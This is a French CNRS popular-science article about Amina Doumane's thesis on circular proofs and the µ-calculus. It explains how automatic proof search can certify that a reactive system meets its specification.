Dans les preuves mathématiques « normales », celles que l’on a pu faire au lycée, on nous a appris à s’appuyer sur des axiomes, c’est-à-dire des énoncés qui sont trivialement vrais, pour les utiliser pour démontrer des choses de plus en plus complexes. « Dans une démonstration infinitaire, aussi appelée preuve circulaire, lorsqu’on me donne un théorème T à démontrer,  je peux utiliser T  comme axiome pour démontrer … T !  précise la chercheuse. Les preuves circulaires sont très utiles, puisqu’elles facilitent la recherche de preuve,  mais on n’avait pas jusque-là pu prouver  qu’elles  « méritaient » le nom de preuve », en d’autre termes qu’elles avaient les propriétés structurelles  pour être désignées comme telles ».

Machine à caféCes preuves circulaires, un peu inhabituelles vont s’avérer utiles pour la vérification de systèmes. Un système réactif correspond à peu près à n’importe quoi qui interagit avec son environnement, et qui évolue dans le temps : un ascenseur, une machine à café, une centrale nucléaire… La vérification d’un système correspond au fait de s’assurer que le système satisfait certaines propriétés, répond aux attentes qu’on peut en avoir, appelées spécifications : si j’appuie sur le bouton de la machine à café, j’obtiens un café… Pour pouvoir utiliser ces notions, on va alors abstraire, remplacer le système et les spécifications par des objets de logique que l’on sait manipuler. En l’occurrence, Amina Doumane s’est intéressée au µ-calcul, une forme de logique spécifique pour la description du comportement de système, notamment avec la prise en compte de la notion de temps.

Une première formule du µ-calcul va ainsi décrire le système, et une deuxième formule détaillera les propriétés attendues de ce système. Une 3e formule doit englober les deux premières, pour que la formule du système implique nécessairement la formule de la spécification. « Appelons cette formule « la grande implication », précise-t-elle. Si on ne parvient pas à prouver la grande implication, c’est que le système ne vérifie pas les spécifications. Mais si on la prouve, on est sûr que le système satisfait  la spécification. De plus, cette preuve peut être vue  comme un certificat, qui peut être communiqué et même exécuté. Cette technique est d’ailleurs plus informative que d’autres : la preuve nous apprend pourquoi le système vérifie la propriété, ce qui donne des éléments explicatifs et donc une confiance supplémentaire. »

Le tour de force d’Amina Doumane a été de réussir à concevoir un algorithme capable de prendre une formule de µ-calcul (par exemple et en particulier la grande implication) et d’en construire automatiquement une preuve. Comme souvent dans le cas d’avancées remarquables en recherche, l’ingéniosité a été de concilier des outils de disciplines différentes. Amina Doumane a ainsi pioché dans les algorithmes qu’utilise la théorie des automates, qu’elle a interprétés comme des algorithmes de recherche de preuve, dans les systèmes de preuves circulaires.

Par ses travaux dans sa thèse, elle a ainsi pu démontrer que les preuves circulaires se comportent réellement comme des preuves, et de façon secondaire fournir des algorithmes de traitement de µ-calcul en vue d’applications pour la vérification des systèmes.

Laure Thiébault, CNRS

Publication commune avec CNRS – INS2I.

Pour aller plus loin